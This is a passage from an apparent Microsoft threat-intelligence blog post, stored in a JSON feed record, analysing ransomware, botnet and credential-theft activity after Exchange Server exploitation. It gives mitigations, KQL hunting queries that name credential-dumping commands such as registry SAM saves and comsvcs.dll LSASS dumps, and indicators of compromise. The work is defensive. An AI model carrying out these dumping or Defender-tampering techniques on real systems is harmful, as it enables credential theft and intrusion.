attacks](<https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/>).\n * Credential theft \u2013 While credential theft is not the immediate goal of some of these attacks, access to Exchange servers allowed attackers to access and potentially steal credentials present on the system. Attackers can use these stolen credentials for follow-on attacks later, so organizations need to prioritize identifying and remediating impacted identities. For more information, read best practices for building credential hygiene.\n\nIn the following sections, we share our analysis of known post-compromise activities associated with exploitation of the Exchange server vulnerabilities because it is helpful to understand these TTPs, in order to defend against other actors using similar tactics or tools. While levels of disruptive post-compromise activity like ransomware may be limited at the time of this writing, Microsoft will continue to track this space and share information with the community. It\u2019s important to note that with some post-compromise techniques, attackers may gain highly privileged persistent access, but **many of the impactful subsequent attacker activities can be mitigated by practicing the principle of least privilege and mitigating lateral movement**.\n\n## DoejoCrypt ransomware\n\nDoejoCrypt was the first ransomware to appear to take advantage of the vulnerabilities, starting to encrypt in limited numbers shortly after the patches were released. Ransomware attackers often use multiple tools and exploits to gain initial access, including purchasing access through a broker or \u201creseller\u201d who sells access to systems they have already compromised. The DoejoCrypt attacks start with a variant of the Chopper web shell being deployed to the Exchange server post-exploitation.\n\nThe web shell writes a batch file to _C:\\Windows\\Temp\\xx.bat_. Found on all systems that received the DoejoCrypt ransomware payload, this batch file performs a backup of the Security Account Manager (SAM) database and the System and Security registry hives, allowing the attackers later access to passwords of local users on the system and, more critically, in the LSA Secrets portion of the registry, where passwords for services and scheduled tasks are stored.\n\n\n\n_Figure 2. xx.bat_\n\nGiven configurations that administrators typically use on Exchange servers, many of the compromised systems are likely to have had at least one service or scheduled task configured with a highly privileged account to perform actions like backups. **As service account credentials are not frequently changed, this could provide a great advantage to an attacker even if they lose their initial web shell access due to an antivirus detection**, as the account can be used to elevate privileges later, which is why we strongly recommend operating under the principle of least privileged access.\n\nThe batch file saves the registry hives to a semi-unique location, _C:\\windows\\temp\\debugsms_, assembles them into a CAB file for exfiltration, and then cleans up the folders from the system. The file also enables Windows Remote Management and sets up an HTTP listener, indicating the attacker might take advantage of the internet-facing nature of an Exchange Server and use this method for later access if other tools are removed.\n\n\n\n_Figure 3. xx.bat actions_\n\nThe _xx.bat_ file has been run on many more systems than have been ransomed by the DoejoCrypt attacker, meaning that, while not all systems have moved to the ransom stage, the attacker has gained access to multiple credentials. On systems where the attacker moved to the ransom stage, we saw reconnaissance commands being run via the same web shell that dopped the xx.bat file (in this instance, a version of Chopper):\n\n\n\n_Figure 4. DoejoCrypt recon command_\n\nAfter these commands are completed, the web shell drops a new payload to _C:\\Windows\\Help_ which, like in many human-operated ransomware campaigns, leads to the attack framework Cobalt Strike. In observed instances, the downloaded payload is shellcode with the file name _new443.exe_ or _Direct_Load.exe_. When run, this payload injects itself into _notepad.exe_ and reaches out to a C2 to download Cobalt Strike shellcode.\n\n\n\n_Figure 5. DoejoCrypt ransomware attack chain_\n\nDuring the hands-on-keyboard stage of the attack, a new payload is downloaded to _C:\\Windows\\Help_ with names like _s1.exe_ and _s2.exe_. This payload is the DoejoCrypt ransomware, which uses a _.CRYPT_ extension for the newly encrypted files and a very basic _readme.txt_ ransom note. In some instances, the time between _xx.bat_ being dropped and a ransomware payload running was under half an hour.\n\n\n\n_Figure 6. DoejoCrypt ransom note_\n\nWhile the DoejoCrypt payload is the most visible outcome of the attackers\u2019 actions, the access to credentials they have gained could serve them for future campaigns if organizations do not reset credentials on compromised systems. An additional overlapping activity observed on systems where _xx.bat_ was present and the attackers were able to get Domain Administrator rights was the running of scripts to snapshot Active Directory with _ntdsutil_\u2014an action that, if executed successfully, could give the attackers access to all the passwords in Active Directory from a single compromised system.\n\n## Lemon Duck botnet\n\nCryptocurrency miners were some of the first payloads we observed being dropped by attackers from the post-exploit web shells. In the first few days after the security updates were released, we observed multiple cryptocurrency miner campaigns, which had been previously targeting SharePoint servers, add Exchange Server exploitation to their repertoire. Most of these coin miners were variations on XMRig miners, and many arrived via a multi-featured implant with the capability to download new payloads or even move laterally.\n\nLemon Duck, a known cryptocurrency botnet named for a variable in its code, dove into the Exchange exploit action, adopting different exploit styles and choosing to use a fileless/web shell-less option of direct PowerShell commands from w3wp (the IIS worker process) for some attacks. While still maintaining their normal email-based campaigns, the Lemon Duck operators compromised numerous Exchange servers and moved in the direction of being more of a malware loader than a simple miner.\n\nUsing a form of the attack that allows direct execution of commands versus dropping a web shell, the Lemon Duck operators ran standard Invoke Expression commands to download a payload. Having used the same C2 and download servers for some time, the operators applied a varied degree of obfuscation to their commands on execution.\n\n\n\n_Fig 7. Example executions of Lemon Duck payload downloads_\n\nThe Lemon Duck payload is an encoded and obfuscated PowerShell script. It first removes various security products from the system, then creates scheduled tasks and WMI Event subscription for persistence. A second script is downloaded to attempt to evade Microsoft Defender Antivirus, abusing their administrative access to run the _Set-MPPreference_ command to disable real-time monitoring (a tactic that Microsoft Defender [Tamper protection](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/prevent-changes-to-security-settings-with-tamper-protection>) blocks) and add scanning exclusions for the C:\\ drive and the PowerShell process.\n\n\n\n\n\n_Figure 8. Lemon Duck payloads_\n\nOne randomly named scheduled task connects to a C2 every hour to download a new payload, which includes various lateral movement and credential theft tools. The operators were seen to download RATs and information stealers, including [Ramnit](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Ramnit>) payloads.\n\n\n\n_Figure 9. Lemon Duck post-exploitation activities_\n\nIn some instances, the operators took advantage of having compromised mail servers to access mailboxes and send emails containing the Lemon Duck payload using various colorful email subjects.\n\n\n\n_Figure 10. Email subjects of possibly malicious emails_\n\n\n\n_Figure 11. Attachment variables_\n\nIn one notable example, the Lemon Duck operators compromised a system that already had _xx.bat_ and a web shell. After establishing persistence on the system in a non-web shell method, the Lemon Duck operators were observed cleaning up other attackers\u2019 presence on the system and mitigating the CVE-2021-26855 (SSRF) vulnerability using a legitimate cleanup script that they hosted on their own malicious server. This action prevents further exploitation of the server and removes web shells, giving Lemon Duck exclusive access to the compromised server. This stresses the need to fully investigate systems that were exposed, even if they have been fully patched and mitigated, per traditional incident response process.\n\n## Pydomer ransomware\n\nWhile DoejoCrypt was a new ransomware payload, the access gained by attackers via the on-premises Exchange Server vulnerabilities will likely become part of the complex cybercriminal economy where additional ransomware operators and affiliates take advantage of it. The first existing ransomware family to capitalize on the vulnerabilities was Pydomer. This ransomware family was previously seen using vulnerabilities in attacks, notably taking advantage of Pulse Secure VPN vulnerabilities, for which Pulse Secure has released security patches, to steal credentials and perform ransomware attacks.\n\nIn this campaign, the operators scanned and mass-compromised unpatched Exchange Servers to drop a web shell. They started later than some other attackers, with many compromises occurring between March 18 and March 20, a window when fewer unpatched systems were available. They then dropped a web shell, with a notable file name format: \u201cChack[Word][Country abbreviation]\u201d:\n\n\n\n_Figure 12. Example web shell names observed being used by the Pydomer attackers_\n\nThese web shells were observed on around 1,500 systems, not all of which moved to the ransomware stage. The attackers then used their web shell to dump a _test.bat_ batch file that performed a similar function in the attack chain to the _xx.bat_ of the DoejoCrypt operators and allowed them to perform a dump of the LSASS process.\n\n\n\n_Figure 13. Pydomer post-exploitation activities_\n\nThis access alone would be valuable to attackers for later attacks, similar to the credentials gained during their use of Pulse Secure VPN vulnerabilities. The highly privileged credentials gained from an Exchange system are likely to contain domain administrator accounts and service accounts with backup privileges, meaning these attackers could perform ransomware and exfiltration actions against the networks they compromised long after the Exchange Server is patched and even enter via different means.\n\nOn systems where the attackers did move to second-stage ransomware operations, they utilized a Python script compiled to an executable and the Python cryptography libraries to encrypt files. The attackers then executed a PowerShell script via their web shell that acts as a downloader and distribution mechanism for the ransomware.\n\n\n\n_Figure 14. __PowerShell downloader and spreader used to get the Pydomer payload_\n\nThe script fetches a payload from a site hosted on a domain generation algorithm (DGA) domain, and attempts to spread the payload throughout the network, first attempting to spread the payload over WMI using Invoke-WMIMethod to attempt to connect to systems, and falling back to PowerShell remoting with Enter-PSSession if that fails. The script is run within the context of the web shell, which in most instances is Local System, so this lateral movement strategy is unlikely to work except in organizations that are running highly insecure and unrecommended configurations like having computer objects in highly privileged groups.\n\nThe Pydomer ransomware is a Python script compiled to an executable and uses the Python cryptography libraries to encrypt files. The ransomware encrypts the files and appends a random extension, and then drops a ransom note named _decrypt_file.TxT_.\n\n\n\n_Figure 15. Pydomer __ransom note_\n\nInterestingly, the attackers seem to have deployed a non-encryption extortion strategy. Following well-known ransomware groups like Maze and Egregor which leaked data for pay, the Pydomer hackers dropped an alternative _readme.txt_ onto systems without encrypting files. This option might have been semi-automated on their part or a side effect of a failure in their encryption process, as some of the systems they accessed were test systems that showed no data exfiltration. The note should be taken seriously if encountered, as the attackers had full access to systems and were likely able to exfiltrate data.\n\n\n\n_Figure 16. Pydomer extortion readme.txt_\n\n## Credential theft, turf wars, and dogged persistence\n\nIf a server is not running in a least-privilege configuration, credential theft could provide a significant return on investment for an attacker beyond their initial access to email and data. Many organizations have backup agent software and scheduled tasks running on these systems with domain admin-level permissions. For these organizations, the attackers might be able to harvest highly privileged credentials without lateral movement, for example, using the COM services DLL as a living-off-the-land binary to perform a dump of the LSASS process:\n\n\n\n_Figure 17.__ Use of COM services DLL to dump LSASS process_\n\nThe number of observed credential theft attacks, combined with high privilege of accounts often given to Exchange servers, means that these attacks could continue to impact organizations that don\u2019t fully remediate after a compromise even after patches have been applied. While the observed ransomware attempts were small-scale or had errors, there is still the possibility of [more skillful groups](<https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/>) utilizing credentials gained in these attacks for later attacks.\n\nAttackers also used their access to perform extensive reconnaissance using built-in Exchange commandlets and _dsquery_ to exfiltrate information about network configurations, user information, and email assets.\n\nWhile Lemon Duck operators might have had the boldest method for removing other attackers from the systems they compromised, they were not the only attacker to do so. Others were observed cleaning up .aspx and .bat files to remove other attackers, and even rebuilding the WMI database by deleting .mof files and restarting the service. As the window on unpatched machines closes, attackers showed increased interest in maintaining the access to the systems they exploited. By utilizing "malwareless" persistence mechanisms like enabling RDP, installing Shadow IT tools, and adding new local administrator accounts, the attackers are hoping to evade incident response efforts that might focus exclusively on web shells, AV scans, and patching.\n\n## Defending against exploits and post-compromise activities\n\nAttackers exploit the on-premises Exchange Server vulnerabilities in combination to bypass authentication and gain the ability to write files and run malicious code. The best and most complete remediation for these vulnerabilities is to update to a supported Cumulative Update and to install all security updates. Comprehensive mitigation guidance can be found here: <https://aka.ms/ExchangeVulns>.\n\nAs seen in the post-exploitation attacks discussed in this blog, the paths that attackers can take after successfully exploiting the vulnerabilities are varied and wide-ranging. If you have determined or have reason to suspect that these threats are present on your network, here are immediate steps you can take:\n\n * Investigate exposed Exchange servers for compromise, regardless of their current patch status.\n * Look for web shells via our [guidance](<https://aka.ms/exchange-customer-guidance>) and run a full AV scan using the [Exchange On-Premises Mitigation Tool](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).\n * Investigate Local Users and Groups, even non-administrative users for changes, and ensure all users require a password for sign-in. New user account creations (represented by Event ID 4720) during the time the system was vulnerable might indicate a malicious user creation.\n * Reset and randomize local administrator passwords with a tool like [LAPS](<https://aka.ms/laps>) if you are not already doing so.\n * Look for changes to the RDP, firewall, WMI subscriptions, and Windows Remote Management (WinRM) configuration of the system that might have been configured by the attacker to allow persistence.\n * Look for Event ID 1102 to determine if attackers cleared event logs, an activity that attackers perform with _exe_ in an attempt to hide their tracks.\n * Look for new persistence mechanisms such as unexpected services, scheduled tasks, and startup items.\n * Look for Shadow IT tools that attackers might have installed for persistence, such as non-Microsoft RDP and remote access clients.\n * Check mailbox-level email forwarding settings (both _ForwardingAddress_ and _ForwardingSMTPAddress_ attributes), check mailbox inbox rules (which might be used to forward email externally), and check Exchange Transport rules that you might not recognize.\n\nWhile our response tools check for and remove known web shells and attack tools, performing a full investigation of these systems is recommended. For comprehensive investigation and mitigation guidance and tools, see <https://aka.ms/exchange-customer-guidance>.\n\nAdditionally, here are best practices for building credential hygiene and practicing the principle of least privilege:\n\n * Follow guidance to run Exchange in least-privilege configuration: <https://adsecurity.org/?p=4119>.\n * Ensure service accounts and scheduled tasks run with the least privileges they need. Avoid widely privileged groups like domain admins and backup operators and prefer accounts with access to just the systems they need.\n * Randomize local administrator passwords to prevent lateral movement with tools like [LAPS](<https://aka.ms/laps>).\n * Ensure administrators practice good administration habits like[ Privileged Admin Workstations](<https://docs.microsoft.com/en-us/security/compass/overview>).\n * Prevent privileged accounts like domain admins from signing into member servers and workstations using Group Policy to limit credential exposure and lateral movement.\n\n \n\n## Appendix\n\n### Microsoft Defender for Endpoint detection details\n\n**Antivirus **\n\nMicrosoft Defender Antivirus detects exploitation behavior with these detections:\n\n * Behavior:Win32/Exmann\n * [Behavior:Win32/IISExchgSpawnEMS](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/IISExchgSpawnEMS.A&threatId=-2147212928>)\n * [Exploit:ASP/CVE-2021-27065](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:ASP/CVE-2021-27065>)\n * Exploit:Script/Exmann\n * Trojan:Win32/IISExchgSpawnCMD\n * [Behavior:Win32/IISExchgDropWebshell](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/IISExchgDropWebshell.B&threatId=-2147190469>)\n\nWeb shells are detected as:\n\n * [Backdoor:JS/Webshell](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:JS/WebShell&threatId=-2147233581>)\n * [Backdoor:PHP/Chopper](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:PHP/Chopper.B!dha&threatId=-2147231664>)\n * Backdoor:ASP/Chopper\n * Backdoor:MSIL/Chopper\n * [Trojan:JS/Chopper](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:JS/Chopper!dha&threatId=-2147232033>)\n * Trojan:Win32/Chopper\n * [Behavior:Win32/WebShellTerminal](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/WebShellTerminal.A&threatId=-2147213299>)\n\nRansomware payloads and associated files are detected as:\n\n * [Trojan:BAT/Wenam](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:BAT/Wenam.A&threatId=-2147188992>) - _xx.bat_ behaviors\n * [Ransom:Win32/DoejoCrypt](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/DoejoCrypt.A&threatId=-2147189904>) - DoejoCrypt ransomware\n * [Trojan:PowerShell/Redearps](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:PowerShell/Redearps.A&threatId=-2147189091>) - PowerShell spreader in Pydomer attacks\n * [Ransom:Win64/Pydomer](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win64/Pydomer.A&threatId=-2147189083>) - Pydomer ransomware\n\nLemon Duck malware is detected as:\n\n * [Trojan:PowerShell/LemonDuck](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:PowerShell/LemonDuck.A&threatId=-2147189579>)\n * [Trojan:Win32/LemonDuck](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/LemonDuck.A&threatId=-2147189576>)\n\nSome of the credential theft techniques highlighted in this report are detected as:\n\n * [Behavior:Win32/DumpLsass](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/DumpLsass.A!attk&threatId=-2147237471>)\n * Behavior:Win32/RegistryExfil\n\n**Endpoint detection and response (EDR)**\n\nAlerts with the following titles in the security center can indicate threat activity on your network:\n\n * Suspicious Exchange UM process creation\n * Suspicious Exchange UM file creation\n * Suspicious w3wp.exe activity in Exchange\n * Possible exploitation of Exchange Server vulnerabilities\n * Possible IIS web shell\n * Possible web shell installation\n * Web shells associated with Exchange Server vulnerabilities\n * Network traffic associated with Exchange Server exploitation\n\nAlerts with the following titles in the security center can indicate threat activity on your network specific to the DoejoCrypt and Pydomer ransomware campaign:\n\n * DoejoCrypt ransomware\n * Pydomer ransomware\n * Pydomer download site\n\nAlerts with the following titles in the security center can indicate threat activity on your network specific to the Lemon Duck botnet:\n\n * LemonDuck Malware\n * LemonDuck botnet C2 domain activity\n\nThe following behavioral alerts might also indicate threat activity associated with this threat:\n\n * Possible web shell installation\n * A suspicious web script was created\n * Suspicious processes indicative of a web shell\n * Suspicious file attribute change\n * Suspicious PowerShell command line\n * Possible IIS Web Shell\n * Process memory dump\n * A malicious PowerShell Cmdlet was invoked on the machine\n * WDigest configuration change\n * Sensitive information lookup\n * Suspicious registry export\n\n### Advanced hunting\n\nTo locate possible exploitation activities in Microsoft Defender for Endpoint, run the following queries.\n\n**Processes run by the IIS worker process**\n\nLook for processes executed by the IIS worker process\n\n`// Broadly search for processes executed by the IIS worker process. Further investigation should be performed on any devices where the created process is indicative of reconnaissance \nDeviceProcessEvents \n| where InitiatingProcessFileName == 'w3wp.exe' \n| where InitiatingProcessCommandLine contains \"MSExchange\" \n| where FileName !in~ (\"csc.exe\",\"cvtres.exe\",\"conhost.exe\",\"OleConverter.exe\",\"wermgr.exe\",\"WerFault.exe\",\"TranscodingService.exe\") \n| project FileName, ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\nSearch for PowerShell spawned from the IIS worker process, observed most frequently in Lemon Duck with Base64 encoding to obfuscate C2 domains\n\n`DeviceProcessEvents \n| where FileName =~ \"powershell.exe\" \n| where InitiatingProcessFileName =~ \"w3wp.exe\" \n| where InitiatingProcessCommandLine contains \"MSExchange\" \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Tampering**\n\nSearch for Lemon Duck tampering with Microsoft Defender Antivirus\n\n`DeviceProcessEvents \n| where InitiatingProcessCommandLine has_all (\"Set-MpPreference\", \"DisableRealtimeMonitoring\", \"Add-MpPreference\", \"ExclusionProcess\") \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Batch script actions **\n\nSearch for batch scripts performing credential theft, as observed in DoejoCrypt infections\n\n`DeviceProcessEvents \n| where InitiatingProcessFileName == \"cmd.exe\" \n| where InitiatingProcessCommandLine has \".bat\" and InitiatingProcessCommandLine has @\"C:\\Windows\\Temp\" \n| where ProcessCommandLine has \"reg save\" \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\nLook for evidence of batch script execution that leads to credential dumping\n\n`// Search for batch script execution, leading to credential dumping using rundll32 and the COM Services DLL, dsquery, and makecab use \nDeviceProcessEvents \n| where InitiatingProcessFileName =~ \"cmd.exe\" \n| where InitiatingProcessCommandLine has \".bat\" and InitiatingProcessCommandLine has @\"\\inetpub\\wwwroot\\aspnet_client\\\" \n| where InitiatingProcessParentFileName has \"w3wp\" \n| where FileName != \"conhost.exe\" \n| project FileName, ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Suspicious files dropped under an aspnet_client folder**\n\nLook for dropped suspicious files like web shells and other components\n\n`// Search for suspicious files, including but not limited to batch scripts and web shells, dropped under the file path C:\\inetpub\\wwwroot\\aspnet_client\\ \nDeviceFileEvents \n| where InitiatingProcessFileName == \"w3wp.exe\" \n| where FolderPath has \"\\\\aspnet_client\\\\\" \n| where InitiatingProcessCommandLine contains \"MSExchange\" \n| project FileName, FolderPath, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Checking for persistence on systems that have been suspected as compromised**\n\nSearch for creations of new local accounts\n\n`DeviceProcessEvents \n| where FileName == \"net.exe\" \n| where ProcessCommandLine has_all (\"user\", \"add\") \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Search for installation events that were used to download ScreenConnect for persistence **\n\nNote that this query may be noisy and is not necessarily indicative of malicious activity alone.\n\n`DeviceProcessEvents \n| where FileName =~ \"msiexec.exe\" \n| where ProcessCommandLine has @\"C:\\Windows\\Temp\\\" \n| parse-where kind=regex flags=i ProcessCommandLine with @\"C:\\\\Windows\\\\Temp\\\\\" filename:string @\".msi\" \n| project filename, ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Hunting for credential theft **\n\nSearch for logon events related to services and scheduled tasks on devices that may be Exchange servers. The results of this query should be used to verify whether any of these users have privileged roles that might have enabled further persistence.\n\n`let devices = \nDeviceProcessEvents \n| where InitiatingProcessFileName == \"w3wp.exe\" and InitiatingProcessCommandLine contains \"MSExchange\" \n| distinct DeviceId; \n// \nDeviceLogonEvents \n| where DeviceId in (devices) \n| where LogonType in (\"Batch\", \"Service\") \n| project AccountName, AccountDomain, LogonType, DeviceId, Timestamp`\n\nSearch for WDigest registry key modification, which allows for the LSASS process to store plaintext passwords.\n\n`DeviceRegistryEvents \n| where RegistryValueName == \"UseLogonCredential\" \n| where RegistryKey has \"WDigest\" and RegistryValueData == \"1\" \n| project PreviousRegistryValueData, RegistryValueData, RegistryKey, RegistryValueName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, DeviceId, Timestamp`\n\nSearch for the COM services DLL being executed by rundll32, which can be used to dump LSASS memory.\n\n`DeviceProcessEvents \n| where InitiatingProcessCommandLine has_all (\"rundll32.exe\", \"comsvcs.dll\") \n| project FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, DeviceId, Timestamp`\n\nSearch for Security Account Manager (SAM) or SECURITY databases being saved, from which credentials can later be extracted.\n\n`DeviceProcessEvents \n| where FileName == \"reg.exe\" \n| where ProcessCommandLine has \"save\" and ProcessCommandLine has_any (\"hklm\\\\security\", \"hklm\\\\sam\") \n| project InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessParentFileName, DeviceId, Timestamp`\n\n## Indicators\n\nSelected indicators from attacks are included here, the threats may utilize files and network indicators not represented here.\n\n**Files (SHA-256)**\n\nThe following are file hashes for some of the web shells observed during attacks:\n\n * 201e4e9910dcdc8c4ffad84b60b328978db8848d265c0b9ba8473cf65dcd0c41\n * 2f0bc81c2ea269643cae307239124d1b6479847867b1adfe9ae712a1d5ef135e\n * 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea\n * 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1\n * 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5\n * 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d\n * 8e90ed33c7ee82c0b64078ea36ec95f7420ba435c693b3b3dd728b494abf7dfc\n * a291305f181e24fe7194154b4cd355ccb039d5765709c80999e392efec69c90a\n * b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0\n * dd29e8d47dde124c7d14e614e03ccaab3ecaa50e0a0bef985ed59e98928bc13d\n\nDoejoCrypt associated hashes:\n\n * 027119161d11ba87acc908a1d284b93a6bcafccc012e52ce390ecb9cd745bf27\n * 10bce0ff6597f347c3cca8363b7c81a8bff52d2ff81245cd1e66a6e11aeb25da\n * 2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff\n * 904fbea2cd68383f32c5bc630d2227601dc52f94790fe7a6a7b6d44bfd904ff3\n * bf53b637683f9cbf92b0dd6c97742787adfbc12497811d458177fdeeae9ec748\n * e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6\n * fdec933ca1dd1387d970eeea32ce5d1f87940dfb6a403ab5fc149813726cbd65\n * feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede\n\nLemon Duck associated hashes:\n\n * 0993cc228a74381773a3bb0aa36a736f5c41075fa3201bdef4215a8704e582fc\n * 3df23c003d62c35bd6da90df12826c1d3fdd94029bf52449ba3d89920110d5ec\n * 4f0b9c0482595eee6d9ece0705867b2aae9e4ff68210f32b7425caca763723b9\n * 56101ab0881a6a34513a949afb5a204cad06fd1034f37d6791f3ab31486ba56c\n * 69ce57932c3be3374e8843602df1c93e1af622fc53f3f1d9b0a75b66230a1e2e\n * 737752588f32e4c1d8d20231d7ec553a1bd4a0a090b06b2a1835efa08f9707c4\n * 893ddf0de722f345b675fd1ade93ee1de6f1cad034004f9165a696a4a4758c3e\n * 9cf63310788e97f6e08598309cbbf19960162123e344df017b066ca8fcbed719\n * 9f2fe33b1c7230ec583d7f6ad3135abcc41b5330fa5b468b1c998380d20916cd\n * a70931ebb1ce4f4e7d331141ad9eba8f16f98da1b079021eeba875aff4aeaa85\n * d8b5eaae03098bead91ff620656b9cfc569e5ac1befd0f55aee4cdb39e832b09\n * db093418921aae00187ae5dc6ed141c83614e6a4ec33b7bd5262b7be0e9df2cd\n * dc612f5c0b115b5a13bdb9e86f89c5bfe232e5eb76a07c3c0a6d949f80af89fd\n * f517526fc57eb33edb832920b1678d52ad1c5cf9c707859551fe065727587501\n * f8d388f502403f63a95c9879c806e6799efff609001701eed409a8d33e55da2f\n * fbeefca700f84373509fd729579ad7ea0dabdfe25848f44b2fbf61bf7f909df0\n\nPydomer associated hashes:\n\n * 7e07b6addf2f0d26eb17f4a1be1cba11ca8779b0677cedc30dbebef77ccba382\n * 866b1f5c5edd9f01c5ba84d02e94ae7c1f9b2196af380eed1917e8fc21acbbdc\n * 910fbfa8ef4ad7183c1b5bdd3c9fd1380e617ca0042b428873c48f71ddc857db\n * a387c3c5776ee1b61018eeb3408fa7fa7490915146078d65b95621315e8b4287\n * b9dbdf11da3630f464b8daace88e11c374a642e5082850e9f10a1b09d69ff04f\n * c25a5c14269c990c94a4a20443c4eb266318200e4d7927c163e0eaec4ede780a\n * c4aa94c73a50b2deca0401f97e4202337e522be3df629b3ef91e706488b64908\n\n**Network indicators**\n\nDomains abused by Lemon Duck:\n\n * down[.]sqlnetcat[.]com\n * t[.]sqlnetcat[.]com\n * t[.]netcatkit[.]com\n\nPydomer DGA network indicators:\n\n * uiiuui[.]com/search/*\n * yuuuuu43[.]com/vpn-service/*\n * yuuuuu44[.]com/vpn-service/*\n * yuuuuu46[.]com/search/*\n\nThe post [Analyzing attacks taking advantage of the Exchange Server vulnerabilities](<https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/>) appeared first on [Microsoft Security.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-25T21:21:07", "type": "mmpc", "title": "Analyzing attacks taking advantage of the Exchange Server vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2021-03-25T21:21:07", "id": "MMPC:2FB5327A309898BD59A467446C9C36DC", "href": "https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-10T12:28:51", "description": "_**Update [03/08/2021]**: Microsoft continues to see multiple actors taking advantage of unpatched systems to attack organizations with on-premises Exchange Server. To aid defenders in investigating these attacks where Microsoft security products and tooling may not be deployed, we are releasing a feed of observed indicators of compromise (IOCs). The feed of malware hashes and known malicious file paths observed in related attacks is available in both JSON and CSV formats at the below GitHub links. This information is being shared as TLP:WHITE._\n\n * [CSV format](<https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/MSTICIoCs-ExchangeServerVulnerabilitiesDisclosedMarch2021.csv>)\n * [JSON format](<https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/MSTICIoCs-ExchangeServerVulnerabilitiesDisclosedMarch2021.json>)\n\n_**Update [03/05/2021]**: Microsoft sees increased use of these vulnerabilities in attacks targeting unpatched systems by multiple malicious actors beyond HAFNIUM. To aid customers in investigating these attacks, __Microsoft Security Response Center (MSRC) has provided additional resources, including new mitigation guidance: [Microsoft Exchange Server Vulnerabilities Mitigations \u2013 March 2021](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>)_\n\n_**Update [03/04/2021]**: The Exchange Server team released a script for checking HAFNIUM indicators of compromise (IOCs). See Scan Exchange log files for indicators of compromise._\n\n \n\nMicrosoft has detected multiple 0-day exploits being used to attack on-premises versions of Microsoft Exchange Server in limited and targeted attacks. In the attacks observed, the threat actor used these vulnerabilities to access on-premises Exchange servers which enabled access to email accounts, and allowed installation of additional malware to facilitate long-term access to victim environments. Microsoft Threat 